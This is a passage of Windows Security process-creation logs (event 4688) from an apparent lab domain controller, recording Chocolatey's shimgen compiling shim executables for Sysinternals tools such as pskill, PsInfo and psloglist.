Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pskill.exe" --output="C:\ProgramData\chocolatey\bin\pskill.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pskill.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246738
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF48C.tmp" "c:\ProgramData\chocolatey\bin\CSC45191848FDF5448B928A66178242B6E5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246737
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246736
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsInfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246735
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246734
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsInfo64.exe" --output="C:\ProgramData\chocolatey\bin\PsInfo64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsInfo64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246733
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF3B1.tmp" "c:\ProgramData\chocolatey\bin\CSC830992FD7CE345A280295135B0A1417.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246732
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8d0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246731
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc0c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsInfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246730
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\System32\sppsvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\sppsvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246775
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x990
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246774
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psloglist64.exe" --output="C:\ProgramData\chocolatey\bin\psloglist64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psloglist64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246773
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xea0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFA87.tmp" "c:\ProgramData\chocolatey\bin\CSC48D0E7E01C9B48A7A96B4347E034B1B1.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246772
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xea0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246771
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x44c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psloglist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246770
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x44c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246769
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psloglist.exe" --output="C:\ProgramData\chocolatey\bin\psloglist.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psloglist.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246768
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF9AD.tmp" "c:\ProgramData\chocolatey\bin\CSC7241E4201F34BA7B25F4E442DB1E9FB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

